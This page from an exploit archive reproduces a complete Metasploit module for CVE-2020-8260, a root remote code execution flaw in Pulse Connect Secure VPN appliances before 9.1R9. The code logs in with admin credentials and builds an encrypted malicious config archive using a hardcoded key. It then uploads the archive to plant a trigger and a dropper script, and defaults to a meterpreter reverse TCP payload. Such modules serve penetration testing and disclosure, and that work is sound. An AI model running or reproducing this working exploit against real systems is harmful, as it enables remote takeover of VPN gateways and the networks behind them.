Pulse Secure VPN Remote Code Execution

2020.12.19
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b def initialize(info = {}) super( update_info( info, 'Name' => 'Pulse Secure VPN gzip RCE', 'Description' => %q{ The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root. Admin credentials are required for successful exploitation. Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`. }, 'Author' => [ 'h00die', # msf module 'Spencer McIntyre', # msf module 'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery 'David Cash <david.cash@nccgroup.com>', # original PoC, discovery ], 'References' => [ ['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'], ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'], ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'], ['CVE', '2020-8260'] ], 'DisclosureDate' => '2020-10-26', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix In-Memory', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } } ] ], 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' }, 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES], 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure'] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The URI of the application', '/']), OptString.new('USERNAME', [true, 'The username to login with', 'admin']), OptString.new('PASSWORD', [true, 'The password to login with', '123456']) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]), ]) end def check(exploiting: false) login res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') }) fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200 version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version version, build = version return CheckCode::Unknown unless version.include?('R') version, revision = version.split('R', 2) print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found") return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9 CheckCode::Detected rescue Msf::Exploit::Failed CheckCode::Unknown ensure logout unless exploiting end def exploit case (checkcode = check(exploiting: true)) when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears print_good(checkcode.message) when Exploit::CheckCode::Detected print_warning(checkcode.message) else fail_with(Module::Failure::Unknown, checkcode.message.to_s) end case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager( linemax: 262144, # 256KiB delay: datastore['CMDSTAGER::DELAY'] ) end logout end def execute_command(command, _opts = {}) trigger = Rex::Text.rand_text_alpha_upper(8) print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}") config = build_malicious_config(command, trigger) res = upload_config(config) fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200 print_status('Triggering RCE') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'), 'headers' => { trigger => trigger } }) end def res_get_xsauth(res) res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first end def upload_config(config) print_status('Requesting backup config page') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'), 'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" }, 'vars_get' => { 'type' => 'system' } }) fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200 xsauth = res_get_xsauth(res) fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil? post_data = Rex::MIME::Message.new post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"') post_data.add_part('Import', nil, nil, 'form-data; name="op"') post_data.add_part('system', nil, nil, 'form-data; name="type"') post_data.add_part('8', nil, nil, 'form-data; name="optWhat"') post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"') post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"') post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"') print_status('Uploading encrypted config backup') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'), 'method' => 'POST', 'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" }, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) end def login res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'), 'method' => 'POST', 'vars_post' => { 'tz_offset' => '-300', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'realm' => 'Admin Users', 'btnSubmit' => 'Sign In' }, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302 location = res.headers['Location'] fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed') return unless location.include?('admin%2Dconfirm') # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it. print_status('Other admin sessions detected, continuing') res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200 fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last xsauth = res_get_xsauth(res) fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'), 'method' => 'POST', 'vars_post' => { 'btnContinue' => 'Continue the session', 'FormDataStr' => fds.first, 'xsauth' => xsauth }, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Login failed') unless res end def logout print_status('Logging out to prevent warnings to other admins') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') }) fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200 logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil? res = send_request_cgi({ 'uri' => logout_uri }) fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302 end def build_malicious_config(cmd, trigger) payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh" perl = <<~PERL if (length $ENV{HTTP_#{trigger}}){ chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}"; system("env /data/var/runtime/tmp/tt/#{payload_script}"); } PERL tarfile = StringIO.new Gem::Package::TarWriter.new(tarfile) do |tar| tar.mkdir('tmp', 509) tar.mkdir('tmp/tt', 509) tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio| tio.write perl end tar.add_file("tmp/tt/#{payload_script}", 511) do |tio| tio.write "PATH=/home/bin:$PATH\n" tio.write "rm -- \"$0\"\n" tio.write cmd end end gzfile = StringIO.new gz = Zlib::GzipWriter.new(gzfile) gz.write(tarfile.string) gz.close encrypt_config(gzfile.string) end def encrypt_config(config_blob) cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt iv = cipher.iv = cipher.random_iv cipher.key = ENCRYPTION_KEY md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}") ciphertext = cipher.update(config_blob) ciphertext << cipher.final md5 << ciphertext cipher.reset "\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}" end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top